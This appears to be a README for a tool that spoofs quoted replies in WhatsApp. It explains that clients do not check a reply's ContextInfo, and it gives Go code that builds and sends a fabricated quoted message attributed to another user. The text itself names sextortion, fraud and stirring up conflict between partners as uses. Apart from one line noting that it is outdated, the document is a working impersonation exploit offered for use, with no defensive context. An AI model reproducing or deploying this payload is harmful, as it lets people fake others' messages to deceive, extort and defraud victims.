The Tool Made In 2022 ( Outdated 2024 )

Whatsapp Spoofing impersonate of reply message

All official WhatsApp clients, upon receiving a "Message Reply" payload (QuotedMessage), do not validate whether the "ContextInfo" of this "QuotedMessage" is valid/exists ("StanzaId" and "Participant"). This allows a malicious actor to send in private chats or groups a "QuotedMessage" of a message that never existed on behalf of another person. This is highly critical and dangerous.

Impact

Malicious individuals can use this to create issues such as:

• Arguments between couples
• Sextortion Scams
• Frauds against financial institutions

The problem

Users: UserA, UserB; UserA is not known by UserB

UserA (SCAMMER) sends a spoofed messages to UserB in response to a message that UserB did never send

Spoofed message payload:

msg := &waProto.Message{
    ExtendedTextMessage: &waProto.ExtendedTextMessage{
        Text: proto.String("Some text"),
        ContextInfo: &waProto.ContextInfo{
            StanzaId:     proto.String("Some Random ID"), //Random ID
            Participant: proto.String("5511999999999@s.whatsapp.net"), //Spoofed user ID
            QuotedMessage: &waProto.Message{
                Conversation: proto.String("Some Spoofed text"), //QuotedMessage Spoofed text
            },
        },
    },
}

Send the Spoofed Payload:

resp, err := cli.SendMessage(context.Background(), chatID, msg) 
// chatID is the ID of the chat you want to send the message to, can be a group or the same number as the spoofed user ID
